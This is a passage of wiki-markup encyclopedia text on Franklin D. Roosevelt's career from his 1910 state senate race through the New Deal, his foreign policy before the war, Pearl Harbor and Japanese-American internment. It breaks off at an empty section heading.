In 1910 Roosevelt ran for the [[New York State Senate]] from the district around Hyde Park, which had not elected a Democrat since 1884. The Roosevelt name, Roosevelt money and the Democratic landslide that year carried him to the state capital [[Albany, New York|Albany]], where he became a leader of a group of reformers who opposed Manhattan's [[Tammany Hall]] machine which dominated the state Democratic Party. Roosevelt was young, tall, handsome, and well spoken, and soon became a popular figure among New York Democrats. When [[Woodrow Wilson]] was elected President in 1912, Roosevelt took the major position of Assistant Secretary of the Navy. In 1914 he ran for the Democratic nomination for the [[United States Senate]], but was handily defeated in the primary by Tammany Hall-backed [[James W. Gerard]]. 

Between 1913 and 1917 Roosevelt worked to expand the Navy (in the face of considerable opposition from pacifists in the administration such as the Secretary of State [[William Jennings Bryan]]), and founded the [[United States Navy Reserve]] to provide a pool of trained men who could be mobilized in wartime. Wilson sent the Navy and Marines to intervene in [[Central America]]n and [[Caribbean]] countries. Roosevelt personally wrote the constitution which the U.S. imposed on [[Haiti]] in 1915. When the U.S. entered [[World War I]] in April 1917, Roosevelt became the effective administrative head of the [[United States Navy]], since the [[Secretary of the Navy]], [[Josephus Daniels]], had been appointed mainly for political reasons and handled symbolic duties. 

Roosevelt developed a life-long affection for the Navy. He showed great administrative talent, and quickly learned to negotiate with Congressional leaders and other government departments to get budgets approved and achieve a rapid expansion of the Navy. He became an enthusiastic advocate of the [[submarine]], and also of means to combat the German submarine menace to Allied shipping: he proposed building a mine barrage across the [[North Sea]] from [[Norway]] to [[Scotland]]. In 1918 he visited Britain and France to inspect American naval facilities &amp;mdash; during this visit he met [[Winston Churchill]] for the first time. With the end of the war in November 1918, he was in charge of [[demobilization]], although he opposed plans to completely dismantle the Navy.

The 1920 [[Democratic National Convention]] chose Roosevelt as the candidate for [[Vice-President of the United States]] on the ticket headed by Governor [[James M. Cox]] of Ohio. Republican opponents denounced eight years of Democratic &quot;mismanagement&quot; and called for a &quot;[[Return to Normalcy]].&quot;  The Cox-Roosevelt ticket was heavily defeated by Republican [[Warren Harding]]. Roosevelt then retired to a New York legal practice, but few doubted that he would soon run for public office again.

==Private crisis==
[[Image:FDR Wheel Chair.jpg|thumb|right|200px|Statue of FDR in his wheelchair at the [[FDR Memorial]] in [[Washington, D.C.]]]]

Roosevelt was a charismatic, handsome and socially active man, while his wife Eleanor was shy and retiring, and furthermore was almost constantly pregnant during the decade after 1906. Roosevelt soon found romantic outlets outside his marriage. One of these was Eleanor's social secretary [[Lucy Mercer]], with whom Roosevelt began an affair soon after she was hired in early 1914. In September 1918, Eleanor found letters in Franklin's luggage which revealed the affair. Eleanor was both mortified and angry, and confronted him with the letters, demanding a divorce. Franklin's mother Sara Roosevelt soon learned of the crisis, and decisively intervened. She argued that a divorce would ruin Roosevelt's political career, and pointed out that Eleanor would have to raise five children on her own if she divorced him. Since Sara was financially supporting the Roosevelts, this was a strong incentive to preserve the marriage.

Eventually a deal was struck. The facade of the marriage would be preserved, but sexual relations would cease. Sara would pay for a separate home at Hyde Park for Eleanor, and she would also fund Eleanor's philanthropic interests. When Franklin became President&amp;mdash;as Sara was always convinced he would&amp;mdash;Eleanor would be able to use her position to support her causes. Eleanor accepted these terms, and in time Franklin and Eleanor developed a new relationship as friends and political colleagues, while living separate lives. Franklin continued to see various women, including his secretary [[Missy LeHand]].

In August 1921, while the Roosevelts were vacationing at [[Campobello Island, New Brunswick]], Roosevelt was stricken with [[poliomyelitis]], a [[viral infection]] of the [[nerve]] fibers of the [[spinal cord]], probably contracted while swimming in the stagnant water of a nearby lake. The result was that Roosevelt was totally and permanently paralyzed from the waist down. At first the muscles of his abdomen and lower back were also affected, but these eventually recovered. Thus he could sit up and, with aid of leg braces, stand upright, but he could not walk. Unlike in other forms of [[paraplegia]], his bowels, bladder and sexual functions were not affected.

Although the paralysis resulting from polio had no cure (and still does not, although the disease is now very rare in developed countries), for the rest of his life Roosevelt refused to accept that he was permanently paralyzed. He tried a wide range of therapies, but none had any effect. Nevertheless, he became convinced of the benefits of [[hydrotherapy]], and in 1926 he bought a resort at [[Warm Springs, Georgia]], where he founded a hydrotherapy center for the treatment of polio patients which still operates as the [[Roosevelt Warm Springs Institute for Rehabilitation]] (with an expanded mission), and spent a lot of time there in the 1920s. This was in part to escape from his mother, who tried to resume control of his life following his illness.

At a time when media intrusion in the private lives of public figures was much less intense than it is today, Roosevelt was able to convince many people that he was in fact getting better, which he believed was essential if he was to run for public office again. (The [[Encyclopædia Britannica]], for example, says that &quot;by careful exercises and treatments at Warm Springs he gradually recovered&quot;, although this is quite untrue.) Fitting his hips and legs with iron braces, he laboriously taught himself to walk a short distance by swiveling his torso while supporting himself with a cane. In private he used a wheelchair, but he was careful never to be seen in it in public, although he sometimes appeared on crutches. He usually appeared in public standing upright, while being supported on one side by an aide or one of his sons. For major speaking occasions an especially solid lectern was placed on the stage so that he could support himself from it; as a result if one watches documentary films of him speaking one can observe him using his head to make gestures because his hands were gripping the lectern.  Despite his known dislike of being seen in a wheelchair, a statue of him in a wheelchair has been placed at the [[Franklin Delano Roosevelt Memorial]] in [[Washington, D.C.]]

==Governor of New York, 1928-1932==
By 1928 Roosevelt believed he had recovered sufficiently to resume his political career. He had been careful to maintain his contacts in the Democratic Party. In 1924 he had attended the Democratic Convention and made a presidential nomination speech for the Governor of New York, [[Alfred E. Smith]]. Although Smith was not nominated, in 1928 he ran again, and Roosevelt again supported him. This time he became the Democratic candidate, and he urged Roosevelt to run for Governor of New York. To gain the Democratic nomination, Roosevelt had to make his peace with [[Tammany Hall]], which he did with some reluctance. At the November election, Smith was heavily defeated by the Republican [[Herbert Hoover]], but Roosevelt was elected Governor by a margin of 25,000 votes out of 2.2 million. As a native of upstate New York he was able to appeal to voters outside New York City in a way other Democrats could not.

Roosevelt came to office in 1929 as a reform Democrat, but with no overall plan for his administration. He tackled official corruption by dismissing Smith's cronies and instituting a Public Service Commission, and took action to address New York's growing need for power through the development of [[hydroelectricity]] on the [[St. Lawrence River]]. He reformed the state's [[prison]] administration and built a new state prison at [[Attica, New York|Attica]]. He had a long feud with [[Robert Moses]], the state's most powerful public servant, whom he removed as Secretary of State but kept on as Parks Commissioner and head of [[urban planning]]. When the [[Wall Street Crash 1929|Wall Street Crash]] in October ushered in the [[Great Depression]], Roosevelt started a relief system that became the model for the [[New Deal]]. Roosevelt followed President [[Herbert Hoover]]'s advice and asked the state legislature for $20 million in relief funds, which he spent mainly on public works in the hope of stimulating demand and providing employment. Aid to the unemployed, he said, &quot;must be extended by Government, not as a matter of charity, but as a matter of social duty.&quot;

Roosevelt knew little about economics, but he took advice from leading academics and social workers, and also from Eleanor, who had developed a network of friends in the welfare and labor fields and who took a close interest in social questions. On Eleanor's recommendation he appointed one of her friends, [[Frances Perkins]], as Labor Secretary, and there was a sweeping reform of the labor laws. He established the first state relief agency under [[Harry Hopkins]], who became a key advisor, and urged the legislature to pass an old age pension bill and an unemployment insurance bill.

The main weakness of the Roosevelt administration was the blatant corruption of the [[Tammany Hall]] machine in [[New York City]], where the Mayor, [[Jimmy Walker]], was the puppet of Tammany boss [[John F. Curry]], and where corruption of all kinds was rife. Roosevelt had made his name as an opponent of Tammany, but he needed the machine's goodwill to be re-elected in 1930 and for a possible future presidential bid. Roosevelt fell back on the line that the Governor could not interfere in the government of New York City. But as the 1930 election approached Roosevelt acted by setting up a judicial investigation into the corrupt sale of offices. This eventually resulted in Walker resigning and fleeing to [[Europe]] to escape prosecution. But [[Tammany Hall]]'s power was not seriously affected. In 1930 Roosevelt was elected to a second term by a margin of more than 700,000 votes.

==Election as President 1932==
Roosevelt's strong base in the largest state made him an obvious candidate for the Democratic nomination, which was hotly contested since it seemed clear that Hoover would be defeated at the [[U.S. presidential election, 1932|1932 presidential election]]. Al Smith also wanted the nomination, and was supported by some city bosses, but he was tagged as a loser--and he had lost control of the New York Democratic party to Roosevelt. Roosevelt built his own national coalition using powerful allies such as newspaper magnate [[William Randolph Hearst]], Irish leader [[Joseph P. Kennedy]], and California leader [[William G. McAdoo]]. When Texas leader [[John Nance Garner]] switched to FDR he was given the vice presidential nomination. 

The election campaign was conducted under the shadow of the [[Great Depression]].   At San Francisco's Commonwealth Club on September 23 Roosevelt made the gloomy evaluation that, &quot;Our industrial plant is built; the problem just now is whether under existing conditions it is not overbuilt. Our last frontier has long since been reached.&quot; Hoover damned that pessimism as a denial of &quot;the promise of American life . . . the counsel of despair.&quot; On October 19 he attacked Hoover's deficits and called for sharp reductions in government spending. Economist Marriner Eccles observed that &quot;given later developments, the campaign speeches often read like a giant misprint, in which Roosevelt and Hoover speak each other's lines.&quot; [Kennedy, 102] The prohibition issue solidified the wet vote for Roosevelt, who noted that repeal would bring in new tax revenues. During the campaign Roosevelt said: &quot;I pledge you, I pledge myself, to a [[New Deal|new deal]] for the American people&quot;, coining a slogan that was later adopted for his legislative program. Roosevelt did not put forward clear alternatives to the policies of the Hoover Administration, but nevertheless won 57 percent of the vote and carried all but six states.  During the long interregnum, Roosevelt refused Hoover's requests for a meeting to come up with a joint program to stop the downward spiral.  In February 1933, in [[Miami]] an assassin [[Giuseppe Zangara]] fired five shots at Roosevelt, missing him but killing the Mayor of Chicago, [[Anton Cermak]].

==The first term and a New Deal, 1933-1937==
{{main articles|[[Great Depression]] and [[New Deal]]}}

When Roosevelt was inaugurated in March 1933 the U.S. was at the pinnacle of the worst depression in its history. Some 13 million people, a third of the workforce, were unemployed. Industrial production had fallen by more than half since 1929. In a country with few government social services, millions were living on the edge of starvation, and two million were homeless. The banking system seemed to be on the point of collapse. There were occasional outbreaks of violence, but most observers considered it remarkable that such an obvious breakdown of the capitalist system had not led to a rapid growth of [[socialism]], [[communism]], or [[fascism]] (as happened for example in [[Germany]]). Instead of adopting revolutionary solutions, the American people had turned to the Democrats and to a leader who had grown up in privilege.

===The First New Deal, 1933-1934===

Roosevelt indeed had few systematic economic beliefs. He saw the Depression as mainly a matter of confidence&amp;mdash;people had stopped spending, investing, and employing labor because they were afraid to do so. As he put it in his [[inaugural address]]: &quot;the only thing we have to fear is fear itself.&quot; He therefore set out to restore confidence through a series of dramatic gestures.

One of Roosevelt's early attempts to stabilise the economy was to take the United States off the [[gold standard]], which effectively devalued the U.S. dollar by about 40 percent, greatly increasing the competitive position of American exports, while making imports more expensive, thus boosting domestic production. However, this also took wealth away from Americans. To prevent the hoarding of bullion, Roosevelt issued an executive order prohibiting individual ownership of more than one hundred dollars' worth of gold coins (except those &quot;having a recognized special value to collectors of rare and unusual coins&quot;), and requiring coins beyond this value to be exchanged for notes. This measure struck at traditional ideas about &quot;sound money&quot; and was strongly opposed by conservatives. Roosevelt hoped that devaluation would boost farm incomes in particular, but it had only a limited effect on the economy.

During the first hundred days of his administration, Roosevelt used his enormous prestige and the sense of impending disaster to force a series of bills through Congress, establishing and funding various new government agencies.  These included the [[Federal Emergency Relief Administration]] (FERA), which granted funds to the states for unemployment relief; the [[Works Progress Administration]] (WPA) and the [[Civilian Conservation Corps]] (CCC) to hire millions of unemployed to work on local projects; and the [[Agricultural Adjustment Administration]] (AAA). The AAA encouraged high prices for commodities by encouraging by paying famers not to produce and by ordering the slaughtering of livestock. Of course, this was at the expense of consumers having to pay higher prices for food or having to settle for less to eat. In 1936, the Supreme Court declared the AAA to be unconstitutional, stating that &quot;a statutory plan to regulate and control agricultural production, [is] a matter beyond the powers delegated to the federal government...&quot;

He called an emergency session of Congress to stabilize the financial system. The [[Federal Deposit Insurance Corporation]] (FDIC) was created to guarantee the funds held in all banks in the [[Federal Reserve|Federal Reserve System]]. In an attempt to prevent bank failures, he ordered a &quot;bank holiday&quot; forbidding banks from allowing depositors to withdraw funds as well as from depositing them. Over 2000 banks never reopened. Roosevelt's series of radio speeches known as [[Fireside Chats]] presented his proposals to the American public.

Following these emergency measures came the [[National Industrial Recovery Act]] (NIRA), which imposed an unprecedented amount of state regulation on industry, including fair practice codes and a guaranteed role for [[trade unions]], in exchange for the repeal of [[anti-trust]] laws and huge amounts of financial assistance as a stimulus to the economy. Later came one of the largest pieces of state industrial enterprise in American history, the [[Tennessee Valley Authority]] (TVA), which built dams and power stations, controlled floods, and improved agriculture in one of the poorest parts of the country. The repeal of [[prohibition]] also provided stimulus to the economy, while eliminating a major source of corruption.

In 1934, retired Marine General [[Smedley Butler]], who was at the time a prominent left-wing speaker, reported that leading capitalists had invited him to lead a march on Washington, seize the government, and become their dictator. This alleged attempt was known as the &quot;[[Business Plot]].&quot;

===Second New Deal 1935-1936===
After the 1934 Congressional elections, which gave the Democrats large majorities in both houses, there was a fresh surge of New Deal legislation, driven by the &quot;[[brain trust]]&quot; of young economists and social planners gathered in the [[White House]], including [[Raymond Moley]], [[Rexford Tugwell]] and [[Adolf Berle]] of [[Columbia University]], attorney [[Basil O'Connor]], economist [[Bernard Baruch]] and [[Felix Frankfurter]] of [[Harvard Law School]]. Eleanor Roosevelt, Labor Secretary [[Frances Perkins]] (the first female Cabinet Secretary) and Agriculture Secretary [[Henry A. Wallace]] were also important influences. These measures included bills to regulate the [[stock market]] and prevent the corrupt practices which had led to the 1929 Crash; the [[Social Security Act]] (SSA), which established [[Social Security (United States)|Social Security]] and promised economic security for the elderly, the poor and the sick; and the [[National Labor Relations Act]] (NLRA), which established the rights of workers to organize [[trade union|labor unions]], to engage in [[collective bargaining]] and to take part in [[strike action|strikes]] in support of their demands.

One effect of these measures was to restore confidence and optimism, allowing the country to begin the long process of recovery from the Depression. Some people believe that Roosevelt's programs, collectively known as the New Deal, cured the Great Depression. Historians and economists debate over the extent to which this is true.  Several economists and historians now believe that the New Deal did more to prolong the Great Depression than it did to end it. The New Deal ran up large deficits and in a sense it implemented the economic theories of [[John Maynard Keynes]], who advocated an interventionist government policy using fiscal measures to mitigate the [[depression (economics)|depression]]. It is unclear whether Roosevelt was influenced by these theories directly, and questionable whether he really understood them - although some of his advisers did. After a meeting with Keynes, who kept drawing diagrams, he remarked that &quot;He must be a mathematician rather than a political economist.&quot; 

The extent to which the large appropriations that Roosevelt extracted from Congress and spent on relief and assistance to industry provided a sufficient fiscal stimulus to revive the U.S. economy is also debated. The economy recovered significantly during Roosevelt's first term, but fell back into recession in 1937 and 1938 before making another recovery in 1939. While [[Gross National Product]] had surpassed its 1929 peak by 1940, [[unemployment]] remained about 15%.  Some economists said there was a permanent structural unemployment. Others blamed the high tariff barriers that many countries had erected in response to the Depression, although foreign trade was not as important to the U.S. economy as it is today. The economy did start to grow after 1940 or 1941, but many simultaneous programs were involved, such as massive spending, price controls, bond campaigns, controls over raw materials, prohibitions on new housing and new automobiles, rationing, guaranteed cost-plus profits, subsidized wages, and the draft of 12 million soldiers.

==The second term, 1937-1941==
[[Image:FDR0415.JPG|right|frame|Roosevelt's ebullient public personality did a great deal to help restore the nation's confidence.]]

In the [[U.S. presidential election, 1936|1936 presidential election]], Roosevelt campaigned on his New Deal programs against [[Kansas]] governor [[Alfred Landon]], who accepted much of the New Deal but objected that it was hostile to business and involved too much waste. Roosevelt and Garner won 61 percent of the vote and carried every state except [[Maine]] and [[Vermont]]. The New Deal Democrats won enough seats in Congress to outvote both the Republicans and the conservative Southern Democrats (who supported programs which brought benefits for their states but opposed measures which strengthened labor unions). Roosevelt was backed by a coalition of voters which included traditional Democrats across the country, small farmers, the &quot;[[Solid South]]&quot;, Catholics, [[Political machine|big city machines]], [[Labor unions in the United States#Labor History 1932-1955|labor unions]], northern [[African-American]]s, [[Jews]], [[intellectuals]] and [[American liberalism|political liberals]]. This coalition, frequently referred to as the [[New Deal coalition]], remained largely intact for the Democratic Party until the 1960s. The Roosevelt ascendancy also prevented the growth of both [[communism]] and [[fascism]]. 

Roosevelt's second term agenda included an act creating the [[United States Housing Authority]] (1937), a second Agricultural Adjustment Act and the [[Fair Labor Standards Act]] (FLSA) of 1938, which created the [[minimum wage]]. When the economy began to deteriorate again in late 1937, Roosevelt responded with an aggressive program of stimulation, asking Congress for $5 billion for relief and [[public works]] programs.

With the Republicans powerless in Congress, the conservative majority on the [[United States Supreme Court]] was the only obstacle to Roosevelt's programs. During 1935 the Court ruled that the [[National Recovery Act]] and some other pieces of New Deal legislation were [[unconstitutional]]. Roosevelt's response was to propose enlarging the Court so that he could appoint more sympathetic judges. This &quot;[[court packing]]&quot; plan was the first Roosevelt scheme to run into serious political opposition, since it seemed to upset the [[separation of powers]] which is one of the cornerstones of the American constitutional structure. Eventually Roosevelt was forced to abandon the plan, but the Court also drew back from confrontation with the administration by finding the Labor Relations Act and the Social Security Act to be constitutional. Deaths and retirements on the Supreme Court soon allowed Roosevelt to make his own appointments to the bench. Between 1937 and 1941 he appointed eight justices to the court, including liberals such as [[Felix Frankfurter]], [[Hugo Black]] and [[William O. Douglas]], reducing the possibility of further clashes.

Determined to overcome the opposition of conservative Democrats in Congress (mostly from the South), Roosevelt involved himself in the 1938 Democratic primaries, actively campaigning for challengers who were more supportive of New Deal reform. Unfortunately for Roosevelt, this effort was unsuccessful, and the Southern Congressmen whom he had failed to replace ended up forging a  conservative alliance with congressional Republicans, further impeding Roosevelt's ability to get his legislative proposals enacted into law.

By 1939, with FDR's reform momentum already slowing down due to the Court Packing fiasco, the &quot;Roosevelt Recession&quot; of 1937-38, and the President's growing difficulties in controlling congressional Democrats, the need for bipartisan support for his controversial foreign policy and military plans helped bring a virtual end to further structural reforms and changes.  Indeed, the Fair Labor Standards Act of 1938 (see above) was the last substantial New Deal reform act passed by Congress.

Also during this time period, in 1939, Roosevelt endeavoured to move the date of the [[United States of America|American]] [[Thanksgiving]] celebration forward a week in an attempt to spur retail sales for the holiday shopping season.  This controversial decision led many to deride the &quot;new&quot; holiday as [[Franksgiving]] and split the country between those who celebrated a traditional Thanksgiving and this new Franksgiving.  Congress officially passed a law, which Franklin signed in 1941, making Thanksgiving the fourth Thursday in November officially.

==Foreign policy, 1933-1941==

The rejection of the [[League of Nations]] treaty in 1919 marked the dominance of [[isolationism]] in American foreign policy. Despite Roosevelt's Wilsonian background, he and his Secretary of State, [[Cordell Hull]], acted with great care not to provoke isolationist sentiment. The main foreign policy initiative of Roosevelt's first term was the [[Good Neighbor Policy]], a re-evaluation of American policy towards [[Latin America]], which ever since the [[Monroe Doctrine]] of 1823 had been seen as an American [[sphere of influence]]. American forces were withdrawn from [[Haiti]], and new treaties with [[Cuba]] and [[Panama]] ended their status as American [[protectorate]]s. At the [[Seventh International Conference of American States]] in [[Montevideo]] in December 1933, Roosevelt and Hull signed the [[Montevideo Convention]] on the Rights and Duties of States, renouncing the assumed American right to intervene unilaterally in the affairs of Latin American countries. Nevertheless, the realities of American support for various Latin American [[dictator]]s, often to serve American corporate interests, remained unchanged. It was Roosevelt who made the often-quoted remark about the dictator of [[Nicaragua]], [[Anastasio Somoza]]: &quot;Somoza may be a son of a bitch, but he's our son of a bitch.&quot;

Meanwhile, the rise to power of [[Adolf Hitler]] in Germany aroused fears of a new world war. In 1935, at the time of [[Italy]]'s invasion of [[Second Italo-Abyssinian War|Abyssinia]], Congress passed the [[Neutrality Act]], applying a mandatory ban on the shipment of arms from the U.S. to any combatant nation. Roosevelt opposed the act on the grounds that it penalized the victims of aggression such as Abyssinia, and that it restricted his right as President to assist friendly countries, but he eventually signed it. In 1937 Congress passed an even more stringent Act, but when the [[Sino-Japanese War (1937-1945)|Sino-Japanese War]] broke out in 1937 Roosevelt found various ways to assist [[China]], and warned that [[Italy]], [[Nazi Germany]] and [[Empire of Japan|Imperial Japan]] were threats to world peace and to the U.S. When [[World War II]] in [[Europe]] broke out in 1939, Roosevelt became increasingly eager to assist [[Britain]] and [[France]], and he began a regular secret correspondence with Winston Churchill, in which the two freely discussed ways of circumventing the Neutrality Acts.

In May 1940 Germany attacked France and rapidly occupied the country, leaving Britain vulnerable to German air attack and possible invasion. Roosevelt was determined to prevent this and sought to shift public opinion in favor of aiding Britain. He secretly aided a private body, the [[Committee to Defend America by Aiding the Allies]], and he appointed two anti-isolationist Republicans, [[Henry L. Stimson]] and [[Frank Knox]], as Secretaries of War and the Navy respectively. The fall of [[Paris]] shocked American opinion, and isolationist sentiment declined. Both parties gave strong support to his plans to rapidly build up the American military, but the remaining isolationists bitterly denounced Roosevelt as an irresponsible, ruthless warmonger. He successfully urged Congress to enact the first peacetime draft in 1940 (it was renewed in 1941 by one vote in Congress). 

America should be the &quot;Arsenal of Democracy&quot; he told his fireside audience, but he did not tell the people or Congress that he was overruling his senior generals and sending the best new airplanes to Britain.  In August, Roosevelt openly defied the Neutrality Acts with the [[Destroyers for Bases Agreement]], which gave 50 American [[destroyer]]s to Britain and [[Canada]] in exchange for base rights in the British Caribbean islands. This was a precursor of the March 1941 [[Lend-Lease]] agreement which began to direct massive military and economic aid to Britain.

==The third term and the path to war, 1941-1945==
After the 1938 Congressional elections the Republicans staged their first comeback since 1932. They made major gains in both Houses of Congress and by forming the [[Conservative Coalition]] with southern Democrats ended Roosevelt's ability to pass reform legislation. (Only a minimum wage law passed, and then only because of support from Northeastern Republicans who wanted to force higher wages in competing southern textile mills.) 

The no-third-tradition had been an unwritten rule since the 1790s, but Roosevelt, after blocking the presidential ambitions of cabinet members [[Jim Farley]] and [[Cordell Hull]], decided to run for a third term. In his campaign against Republican [[Wendell Willkie]], Roosevelt stressed both his proven leadership experience and his intention to do everything possible to keep the United States out of war.  Roosevelt won the [[1940 election]] with 55 percent of the popular vote and 38 of the 48 states.  A shift to the left within the Administration was shown by naming [[Henry A. Wallace]] as his Vice-President in place of the conservative Texan [[John Nance Garner]], a bitter enemy of Roosevelt after 1937. 

Roosevelt's third term was dominated by World War II, in Europe and in the Pacific. Facing strong isolationist sentiment that supported re-armament, Roosevelt slowly began re-armament in 1938.  By 1940 it was in high gear, with bipartisan support, partly to expand and re-equip the [[United States Army]] and [[United States Navy|Navy]] and partly to become the &quot;Arsenal of Democracy&quot; supporting Britain, France, China and (after June 1941), the Soviet Union.  As Roosevelt took a firmer stance against the Axis powers, American isolationists, including [[Charles Lindbergh]] and [[America First]] attacked the president as an irresponsible warmonger. Unfazed by these criticisms and confident in the wisdom of his foreign policy initiatives, FDR continued his twin policies of preparedness and aid to the anti-Axis coalition. 

From 1939, unemployment fell rapidly, as the unemployed either joined the armed forces or found work in arms factories. By 1941 there was a growing labor shortage in all the nation's major manufacturing centers, accelerating the [[Great Migration (African American)|Great Migration]] of African-American workers from the Southern states, and of underemployed farmers and workers from all rural areas and small towns.

Roosevelt turned for foreign policy advice to [[Harry Hopkins]]. They sought innovative ways to help Britain, whose financial resources were exhausted by the end of 1940. Congress, where isolationist sentiment was in retreat, passed the [[Lend-Lease Act]] in March 1941, allowing America to &quot;lend&quot; huge amounts of military equipment in return for &quot;leases&quot; on British naval bases in the Western Hemisphere.  In sharp contrast to the loans of World War I, there would be no repayment after the war. Britain agreed to dismantle preferential trade arrangements that kept American exports out of the [[British Empire]]. This underlined the point that the war aims of the U.S. and Britain were not the same. Roosevelt was a lifelong [[free trade|free trader]] and anti-[[imperialist]], and ending European [[colonialism]] was one of his objectives. Roosevelt forged a close personal relationship with Churchill, who became British [[Prime Minister]] in May 1940. 

When Germany invaded the [[Soviet Union]] in June 1941, Roosevelt extended Lend-Lease to the Soviets. During 1941 Roosevelt also agreed that the U.S. Navy would escort Allied convoys as far east as [[Iceland]], and would fire on German ships or submarines if they attacked Allied shipping within the U.S. Navy zone. Moreover, by 1941, U.S. Navy aircraft carriers were secretly ferrying British fighter planes between the U.K. and the Mediterranean war zones, and the British Royal Navy was receiving supply and repair assistance at American naval bases in the United States.

Thus by mid-1941 Roosevelt had committed the U.S. to the Allied side with a policy of &quot;all aid short of war.&quot;  Roosevelt met with Churchill on [[August 14]], [[1941]] to develop the [[Atlantic Charter]] in what was to be the first of several [[List of World War II conferences|wartime conferences]].

===Pearl Harbor===
{{main|Attack on Pearl Harbor}}

[[Image:Franklin Roosevelt signing declaration of war against Japan December 1941.jpg|thumb|200px|right|Roosevelt signing the declaration of war against Japan, December 1941.]]
Roosevelt was less keen to involve the U.S. in the war developing in [[East Asia]], where Japan occupied [[French Indo-China]] in late 1940. He authorized increased aid to China, and in July 1941 he restricted the sales of oil and other strategic materials to Japan, but also continued negotiations with the Japanese government in the hope of averting war. Through 1941 the Japanese planned their attack on the western powers, including the U.S., while spinning out the negotiations in Washington. The &quot;hawks&quot; in the Administration, led by Stimson and Treasury Secretary [[Henry Morgenthau, Jr.|Henry Morgenthau]], were in favor of a tough policy towards Japan, but Roosevelt, emotionally committed to the war in Europe, refused to believe that Japan might attack the U.S. and favored continued negotiations. The U.S. Ambassador in [[Tokyo]], [[Joseph C. Grew]], passed on warnings about the planned attack on the American Pacific Fleet's base at [[Pearl Harbor]] in [[Hawaii]], but these were ignored by the [[State Department]].

On [[7 December]] [[1941]] the Japanese [[attack on Pearl Harbor|attacked the U.S. fleet at Pearl Harbor]], damaging most of it and killing 3,000 American personnel. The American commanders at Pearl Harbor, Admiral [[Husband E. Kimmel]] and General [[Walter Short]], were taken completely by surprise, and were later made scapegoats for this disaster. The fault really lay with the [[United States Department of War|War Department]] in Washington, which since August 1940 had been able to read the Japanese diplomatic codes and had thus been given ample warning of the imminence of the attack (though not of its actual date). In later investigations, the War Department claimed that it had not passed warnings on to the commanders in Hawaii because its analysts refused to believe that the Japanese would really have the effrontery to attack the United States. 

It has become a staple of postwar [[historical revisionism|revisionist]] history that Roosevelt knew about the planned attack on Pearl Harbor but did nothing to prevent it so that the U.S. could be brought into the war as a result of being attacked. There is no evidence to support this theory. [[Conspiracy theory|Conspiracy theorists]] cite a document known as the [[McCollum memo]], written by a Naval Intelligence officer in 1940 and declassified in 1994, as evidence that the Roosevelt administration actively sought to enter into a war with Japan. It has never been shown, however, that Roosevelt or his Cabinet saw this document or were aware of the arguments it contained, let alone adopted them.

In fact it is clear that when the Cabinet met on [[5 December]], its members were not aware of the impending attack. The Cabinet discussed the mounting intelligence evidence that the Japanese were mobilizing for war. Navy Secretary Knox told the Cabinet of the decoded messages showing that the Japanese fleet was at sea, but stated his opinion that it was heading south to attack the British in [[Malaya]] and [[Singapore]], and to seize the oil resources of the [[Dutch East Indies]]. Roosevelt and the rest of the Cabinet seemed to accept this view. There were intercepted Japanese messages suggesting an attack on Pearl Harbor, but delays in translating and passing on these messages through the inefficient War Department bureaucracy meant that they did not reach the Cabinet before the attack took place. There is no evidence that Roosevelt was made aware of them. All contemporary accounts describe Roosevelt, Hull and Stimson as shocked and outraged when they heard news of the attack.

The Japanese took advantage of their pre-emptive destruction of most of the Pacific Fleet to rapidly occupy the [[Philippines]] and all the British and Dutch colonies in [[Southeast Asia]], taking [[Singapore]] in February 1942 and advancing through [[Burma]] to the borders of [[British India]] by May, thus cutting off the overland supply route to China. Isolationism evaporated overnight and the country united behind Roosevelt as a wartime leader. Despite the wave of anger that swept across the U.S. in the wake of Pearl Harbor, Roosevelt decided from the start that the defeat of Nazi Germany had to take priority. Germany played directly into Roosevelt's hands when it declared war against the USA on [[December 11]] which removed any meaningful opposition to &quot;beating Hitler first.&quot; Roosevelt met with Churchill in late December and planned a broad alliance between the U.S., Britain, and the Soviet Union, with the objectives of, first, halting the German advances in the Soviet Union and in North Africa; second, launching an invasion of western Europe with the aim of crushing Nazi Germany between two fronts, and only third turning to the task of defeating Japan.

Although Roosevelt was constitutionally the [[Commander-in-Chief]] of the United States armed forces, he had never worn a uniform and he did not interfere in operational military matters in anything like the way Churchill did in Britain, let alone take direct command of the forces as [[Adolf Hitler]] and [[Joseph Stalin]] did. He placed great trust in the Army Chief of Staff, General [[George Marshall]], and later in his Supreme Commander in Europe, General [[Dwight Eisenhower]], and left almost all strategic and tactical decisions to them, within the broad framework for the conduct of the war decided by the Cabinet in agreement with the other Allied powers.

===Japanese-American internment===
{{main|Japanese American internment}}

Following the outbreak of the [[Pacific War]], the War Department demanded that all enemy nationals and Japanese American citizens be removed from war zones on the West Coast. The question how to evacuate the estimated 120,000 people of Japanese and American citizenship living in [[California]].  On February 11, 1942 Roosevelt met with Secretary of War Stimson, who persuaded him to approve an immediate evacuation.Roosevelt looked at the evidence available to him: the Japanese in the Philippines had collaborated with the Japanese invasion troops; the Japanese in California had been strong supporters of Japan in the war against China.  There was evidence of [[espionage]] compiled by [[Cryptanalysis|code-breakers]] that decrypted messages to Japan from agents in [[North America]] and [[Hawaii]] before and after [[Pearl Harbor]]. These [[Magic (cryptography)|MAGIC]] cables were kept secret from all but those with the highest clearance, such as Roosevelt, lest the Japanese discover the decryption and change their code. On February 19, 1942 Roosevelt signed [[Executive Order 9066]] which ordered [[United States Secretary of War|Secretary of War]], and military commanders to designate military areas &quot;from which any or all persons may be excluded.&quot;   Roosevelt permitted them to return in 1944. On February 1, 1943, when activating the [[442nd Regimental Combat Team]] -- an unit composed mostly of American citizens of Japanese descent living in Hawaii, he said, &quot;No loyal citizen of the United States should be denied the democratic right to exercise the responsibilities of his citizenship, regardless of his ancestry. The principle on which this country was founded and by which it has always been governed is that Americanism is a matter of the mind and heart; Americanism is not, and never was, a matter of race or ancestry.&quot;  

Interior Secretary Ickes lobbied Roosevelt through 1944 to release the Japanese-American internees, but Roosevelt did not act until after the [[U.S. presidential election, 1944|November presidential election]]. A fight for Japanese-American civil rights meant a fight with influential Democrats, the Army, and the Hearst press and would have endangered Roosevelt's chances of winning California in 1944. Critics of Roosevelt's actions believe they were motivated in part by [[racialism]]. In 1925 Roosevelt had written about Japanese immigration: &quot;Californians have properly objected on the sound basic grounds that Japanese immigrants are not capable of assimilation into the American population... Anyone who has traveled in the Far East knows that the mingling of Asiatic blood with European and American blood produces, in nine cases out of ten, the most unfortunate results&quot;.
In 1944, the [[Supreme Court of the United States|U.S. Supreme Court]] upheld the legality of the executive order in the [[Korematsu v. United States]] case.  The executive order remained in force until December of that year.

===Civil rights and refugees===
